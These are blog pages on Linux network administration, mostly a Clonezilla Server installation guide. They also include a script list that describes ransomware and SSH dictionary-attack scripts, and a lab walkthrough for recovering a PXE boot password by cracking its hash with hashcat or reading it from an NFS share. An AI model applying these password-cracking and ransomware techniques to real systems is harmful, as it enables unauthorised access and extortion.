The firewall incoming_traffic_eth1_400 with the rule 10 applied on the sub-interface eth1.400 in the incoming direction blocks traffic with source IP address from the subnet 192.168.4.0/24 to the subnet 192.168.2.0/24. Similarly, the firewall incoming_traffic_eth1_200 with the rule 10 applied on the sub-interface eth1.200 in the incoming direction blocks traffic with source IP address from the subnet 192.168.2.0/24 to the subnet 192.168.4.0/24.

End.

 

 

 

Scripts

This article contains a list of scripts that I created and that are somehow useful for me. You are free to download and modify them according to your needs. I do not take any responsibility for improper use or any damage caused by using them.

1. Networking & Servers

1.1 Automatic Deployment VyOS ISO on VMware VM
A Bash script deploy vyos.sh downloads the latest VyOS ISO image and an Expect script install vyos.exp installs VyOS ISO on VMware vmdk disk.

1.2 Automatic Deployment of DRBL (Clonezilla) Server
The script deploy_drbl.sh installs and configure DRBL server on Ubuntu with a single Ethernet card. You have to provide the name of Ethernet interface as an argument. The script creates a virtual interface for you based on a physical interface. It also downloads a DRBL project public key, download and install drbl package from repository.

1.3 Secure Copy with Rsync from SSH server
The script copy.sh keeps copying files with rsync command while a return value of the rsync command is not zero. Just edit script and set server IP address and bothe remote and local directory.

1.4 Collecting MAC and IP addresses of Hosts Connected to Cisco Switches
The script getmac.sh collects info about ports, MAC address and IP address of hosts connected to Cisco switches. It uses SNMP protocol to do this task so switches must contain a valid SNMP configuration.

1.5 Cloning Remote Linux Machines
The script backup images.sh automates a process of cloning disks of remote Linux machines. The script reads IP addresses from a file and uses credentials you provide as command-line arguments for SSH connection.

1.6 Public Key Authentication on Cisco IOS
The Bash script addkey.sh and the Expect script addkey.tcl deploy your pub key on remote Cisco routers. The Bash script loops over IP addresses of your routers stored in a text file and send IP address as an argument to the Expect script together with login credentials. The Expect script establishes connection to a router using SSH and it adds a hash of your pub key into to a configuration file of toyr router. It also creates a new privilege user with privilege level 15.

2. Multimedia

2.1 Extracting MP3 from YouYube Videos with Youtube-dl
I am extremely bad in remembering correct syntax of commands so I wrote a Bash script convert video.sh based on the script youtube-dl which converts my favorite youtube videos to mp3 format. The script takes a YouTube link as an argument.

2.2 Convert CD Audio to MP3
The Bash script cda to mp3.sh converts CD audio to MP3.

2.3 Convert Video to MP3
The Bash script video to mp3.sh converts video to MP3.

2.4 Download YouTube Videos With Youtube-dl From Google Chrome Bookmarks
The Bash script youtube-bookmarks-mp3.sh simultaneously downloads videos from YouTube using saved Google Chrome bookmarks and it converts them to MP3 audio.

3. Security & Hacking

3.1 Hacking Clonezilla SE PXE Boot Client Password
The script get plain pass.sh mounts a remote NFS directory on DRBL server and extracts a plain text password. The script takes an IP address of DRBL/Clonezilla server as an argument.

3.2 Simple Ransomware
The script ls.sh uses openssl to encrypt doc docx txt xls and some other files with aes256 encryption algorithms and send an encryption key to a particular email address.

3.3 Dictionary Attack Against SSH Server
The script getsshpass.sh performs a dictionary attack against SSH server. It reads usernames and passwords from dictionaries (one file for a username and one file for a password) and uses them to login to SSH server. The script also supports interrupted guessing.

3.4 Change MAC Address Randomly
The script change_mac.sh changes MAC address for chosen interface in a given time interval.

 

Hacking DRBL Client PXE Boot Password

In a previous tutorial I showed installation of Clonezilla Server Edition on Ubuntu using my own Bash script. We configured PXE (Pre eXecution Environment)) password for clients so when the clients booted a password had to be entered to startup. This tutorial explains two different ways how to get and crack the PXE boot password.

picture1_pxe_drbl-_client_password_required

Picture 1 - Client Requires to Enter PXE Password During Startup

First, we should mention some facts. The PXE client password is stored in plain text in a configuration file /etc/drbl/drblpush.conf. The password is secretpassword and it can be found in a dictionary rockyout.txt.

picture2_pxe_boot_plaintext_password

Picture 2 - Plain Text PXE Client Boot Password

The same PXE client password is stored as a hash in a file /tftpboot/nbi_img/prelinux.cfg/default.

picture3_pxe_boot_password_hash

Picture 3 - PXE Client Boot SHA-1 Base64 Encoded Salted Hash

The hash is created by utility /usr/sbin/sha1pass on DRBL server. It is a Perl script which takes two arguments from STDIN - a password and salt and it creates SHA-1 base64 salted hash.

picture4_generating_password_hash

Picture 4 - Perl Script fo Generating Hash from Password and Salt

Explanation:

  • $4$ - SHA-1 base64 encoded salted hash
  • 2mNryVVj - salt
  • WIWlkNc6cA9+eQqcf9xU0d5IvVQ - hash

They are several methods how to obtain PXE boot password. The first method is based on downloading a file /tftpboot/nbi_img/prelinux.cfg/default which contains a hash from TFTP server and cracking the hash with a tool such as john or hashcat. This method is not very practical so use it only if you want to practice your hacking skills. Moreover if a dictionary does not contain a password, your attempt very likely end up without success. The second method is fast and reliable and relies on mounting remote shared NFS directory which contains a file with a plain-text password PXE boot password.

1. Cracking Hash

Let's say we have Linux with installed DRBL server with TFTP and DHCP server running on IP address 192.168.112.200/24. A client obtains its IP address 192.168.122.8/24 from DHCP server together together with info about a boot file pxelinux.0. The client downloads the file pxelinux.0 from a TFTP server from a root directory/tftpboot/nbi_img/. Client also downloads files ldlinux.c32pxelinux.cfg/default from TFTP server. As we have mentioned before, the file /tftpboot/nbi_img/prelinux.cfg/default contains the hashed password. The hash is shown on the picture 5. Captured pcap traffic between DRBL server 192.168.112.200 and client 192.168.112.8 can be downloaded here.

picture5_captured_packet_with_hash

Picture 5 - Captured SHA-1 Base64 Encoded Salted Password Hash

I have created a BASH script get_sha1.sh that downloads a file/tftpboot/nbi_img/prelinux.cfg/default from TFTP server and extracts SHA-1 base64 salted hash from the file together with the salt. It also converts the hash from SHA-1 base64 encoded format to SHA-1 hexa encoded format and put it to format recognized by hashcat  - sha1($salt.$pass):

5885a590d73a700f7e790a9c7fdc54d1de48bd54:2mNryVVj

picture6_script_for_extarcting_hash

Picture 6 - Script for Converting Between Salted SHA-1 Base64 and SHA-1 Hexa Hashes

1.1 Hashcat Instllation and Cracking

$ wget https://hashcat.net/files_legacy/hashcat-2.00.7z
$ mkdir hashcat &&  mv hashcat-2.00.7z hashcat && cd hashcat/
$ 7z e hashcat-2.00.7z

Download dictionary:
$ wget http://scrapmaker.com/data/wordlists/dictionaries/rockyou.txt

Let's say we have our hash stored in a file hash_decoded.txt.

./hashcat-cli64.bin -m 120 hash_decoded.txt rockyou.txt

picture7_extracting_hash

Picture 7 - Cracking SHA-1 Salted Hash with Hascat

 2. Getting Plain Text Password

In fact, we do not need to download and crack a salted SHA-1 base64 encoded password hash. We can mount a shared remote NFS directory on DRBL server to a local directory and extract a plain text password stored in a file drblpush.conf.

picture8_plain_text_password

Picture 8 - Plain Text PXE Boot Password Stored in  Drblpush.conf for Client 192.168.112.8

I have written a Bash script get_plain_pass.sh which mounts a remote NFS directory and extract a plain text password. The script takes  an IP address of DRBL/Clonezilla server as an argument.

picture9_script_usage

Picture 9 - Getting Plain Text PXE Boot Password Using NFS Share

End.

 

Clonezilla Server Edition Installation on Ubuntu

clonezilla-logo

The tutorial describes installation steps for Clonezilla Server Edition (SE) on Ubuntu 16.04.1 LTS using a Bash script. Clonezilla is OpenSource Cloning System (OCS) and it is a partition and disk imaging/cloning program . It helps you to do system deployment, bare metal backup and recovery. Two types of Clonezilla are available, Clonezilla live and Clonezilla SE (server edition).

Clonezilla live is suitable for single machine backup and restore. Clonezilla SE is for massive deployment because it can clone many computers simultaneously. Clonezilla saves and restores only used blocks in the hard disk. It decreases time and saves the hard disk space and increases the clone efficiency.

Clonezilla is a part of DRBL (Diskless Remote Boot in Linux) which provides a diskless environment for client machines. Therefore we need to install and configure DRBL server first. I created DRBL deployment script deploy_drbl.sh that helps you to install DRBL and configure server on Ubuntu with a single Ethernet card. You have to provide only the name of Ethernet interface and the script creates virtual interface for you based on your physical interface. It also downloads a DRBL project public key, download and install drbl package from repository. The script starts interactive Bash and Perl scripts that come with drbl package.  It starts them in this order:

  • drblsrv  - prepares files for PXE client and generates PXE menu
  • drblpush - configures DNS, clients' hostname, Ethernet card, collects MAC addresses of clients, configures and starts DHCP server, diskless services and Clonezilla mode, PXE password, grephical/text boot menu, NAT services for clients and firewall rules
  • dcs - DRBL utility to switch the mode for clients

Here is a version of packages installed with DRBL.

Deploying DRBL Server

1. Starting Script
The script deploy_drbl.sh must be started with root privileges. Once you login to root account with sudo su command, assign execute privileges to the script.

$ sudo su
# chmod +x ./deploy_drbl.sh
# ./deploy_drbl.sh

Now enter the name of Ethernet interface which is connected to the Internet, e.g. eth0. The script creates a new virtual interface adding suffix 100 to the name of your Ethernet interface e.g. eth0:100. It also configures IP address 192.168.112.200/24 on your virtual interface. If you want to configure different suffix or IP address/mask on the virtual interface, just change a value of variables ipaddress, mask and suffix in the script. The script installs a package drbl from repository drbl testing.

Note: The script deploy_drbl.sh requires a working connection to the Internet in order to install DRBL server. The script sets only an IP address and a mask on the virtual  interface. It is your job to configure a correct IP address/mask on the physical interface. You also need to configure default route and add DNS server.  Here are my network settings /etc/network/interfaces.

2. DRBL Server Installation
The scripts deploy_drbl.sh automatically starts a script drblsrv with a parameter -i . The script drbl is responsible for installation of DRBL server.  Installation is interactive so you must provide answers for questions - either y or n. If the letter is capital, it is a default choice and you can press Enter or type particular letter to select this choice.

2.1 Installation of Network Images

picture1_network_installation_boot_images

Picture 1 - Installation of Boot Images via Network

We do not need any boot images so type N.

2.2 Serial Console Output

picture2_serial_console_output

Picture 2 - Serial Console Output on Client Computer

We do not want to use the serial console output on the client computers so type N.

2.3 Operating System Upgrade

picture3_upgrade_os

Picture 3 - Operating System Upgrade

We do not want to upgrade our OS  - Ubuntu 16.04.1 so type N.

2.4 Selection of Kernel Image

picture4_installing_kernel_image

Picture 4 - Selecting Kernel Image for Clients

Choose option 1 - Ubuntu kernel from DRBL server.

3. Configure Clonezilla
The scripts deploy_drbl.sh automatically starts a script drblpush with a parameter -i (interactive mode).

3.1 DNS Domain

picture5_dns_domain

Picture 5 - DNS Domain

Press Enter key to configure default drbl.org domain.

3.2 NISP/YP Domain

picture6_nisp-_yp_domain

Picture 6 - NISP/YP Domain

Again, press Enter key to configure default penguinzilla domain name.

3.3 Client Hostname Prefix

picture7_client_hostname

Picture 7 - Client Hostname

We want our client to keep default  hostname prefix  so press Enter.

3.4 Ethernet Port

picture8_ethernet_port

Picture 8 - Ethernet Port

In this menu we select a network interface that is connected to the Internet (not used for DRBL connection). In our case it is enp0s3 port. Press Enter to choose a default option enp0s3.

3.5 Collecting MAC Addresses of Clients

picture9_collecting_mac_adresses

Picture 9 - Collecting MAC Addresses of Clients

We do not want to assign the same IP addresses to the clients from DHCP server thus we do not need to collect MAC addresses of the clients. Type N or just press Enter.

3.6 Same IP address for Clients

picture10_same_ip_offer

Picture 10 - Same IP address for Clients

Press Enter to reject the offer to configure the same IP addresses for clients.

3.7 DHCP Server

picture11_ip_dhcp_range

Picture 11 - DHCP Server

Now we configure a DHCP server running on the interface enp0s3:100 and providing IP addresses for clients. Enter an initial IP address from the range and the number of clients in your network. Then just confirm the DHCP range with Enter key or type Y.

3.8 Diskless Linux Services

picture12_diskless_linux_services

Picture 12 - Diskless Linux Service

We do not need to provide diskless Linux service to clients so type option 2.

3.9 Clonezilla Modes

picture13_full_conezilla_mode

Picture 13 - Clonezilla Modes

Type 0 to configure full Clonezilla mode.

3.10 Directory for Storing Images

picture14_directory_for_saving_images

Picture 14 - Directory for Saving Saved Images

Press Enter to configure a default directory /home/partimg/ for storing saved images.

3.11 PXE Linux Password for Clients

picture15_pxe_password

Picture 15 - PXE Linux Password for Clients

Type y if you want to configure a password for clients. The chosen password can be changed or disabled anytime by drbl-pxelinux-passwd utility.

3.12 Graphical Background for PXE Menu

picture16_graphical_boot

Picture 16 - Graphical Background for PXE Menu

Type y if you want to boot your clients with graphical PXE Linux menu.

3.13 NAT Services for Clients

picture17_no_nat-service_for_clients

Picture 17 - NAT Services for Clients

We do not need to provide Internet to clients so type n.

3.14 Firewall Rules

picture18_firewall_rules

Picture 18 - Changing Firewall Rules

Press Enter or type y to let DRBL server to change firewall rules.

4. Start Clonezilla Server
The scripts deploy_drbl.sh automatically starts a script dcs which starts Clonezilla.

4.1 Client Selection

picture19_selecting_clients

Picture 19 - Selecting Clients

We can either select all clients or an individual client based on its IP or MAC address. Select the first option - All .

4.2 Start Clonezilla Mode

picture20_clonezilla_start

Picture 20 - Starting Clonezilla Mode

Select an option clonezilla-start to start clonezilla mode.

4.3 Beginner Mode

picture21_beginner_mode

Picture 21 - Beginner Mode

Select an option Beginner which accepts the default options.

4.4 Select-in-Client Clonezilla Mode

picture22_select_in_clients

Picture 22 - Select-in-Client Clonezilla Mode

Select an option select-in-client. This option allows you to select either to restore or save the image on client.

4.5 Clonezilla Advanced Extra Parameters

picture23_default_clonezilla

Picture 23 - Clonezilla Advanced Extra Parameters

Select an option -y1 default Clonezilla.

4.6 Shutdown Clients

picture24_power_off_clients

Picture 24 - Shutdown Clients When Cloning is Finished

Select an option -p poweroff. Clients automatically power off once cloning is finished. When dcs script finishes, you can see the following command in your terminal window.

drbl-ocs -b -l en_US.UTF-8 -y1 -p poweroff select_in_client

-b - run program in batch mode, i.e without any prompt
-l - language en-US.UTF-8
-y1 - clonezilla server as restore server
-p - shutdown client when cloning/restoring finishes
select_in_client - client chooses either to clone or restore

You can put the command inside the script /etc/init/clone.conf to start Clonezilla automatically after boot. To clone clients using multicast in order to speed up cloning process, use the following command.

drbl-ocs -b -g auto -e1 auto -e2 -x -r -j2 -sc0 -p poweroff --time-to-wait 30 -l en_US.UTF-8 startdisk multicast_restore core_linux sda

All options are explained here.

5. Troubleshooting

Here are the problems I noticed during writing the tutorial.

5.1 Client Does Not Get IP Address

Check if DHCP service is running with the command:

$ ps -ef | grep dhcpd | grep -v grep

picture25_dhcp_service_running

Picture 25 - Checking DHCP Service

If you cannot see the output above, DHCP service is not running. Check the service status with the command:

$ systemctl status isc-dhcp-server

picture26_dhcp_service_not_active

Picture 26 - DHCP Service Disabled and Not Active

We can see that DHCP service is disabled and not active. We can enable it with the command:

$ systemctl enable isc-dhcp-server

picture27_dhcp_service_enabled_but_not_active

Picture 27 - DHCP Service Enabled But Not Active

DHCP service is enabled but not active. Activate the service with the command:

$ systemctl start isc-dhcp-server

picture28_dhcp_service_enabled_and_active

Picture 28 - DHCP Service Enabled and Active

You can check DHCP messages in /var/log/syslog file.

picture29_obtaining_ip_from_dhcp

Picture 29 - Obtaining IP Address for Client

Obtaining IP address 192.168.112.1 for client with a MAC address 09:00:27:93:43:bb via the interface enp0s3.

End.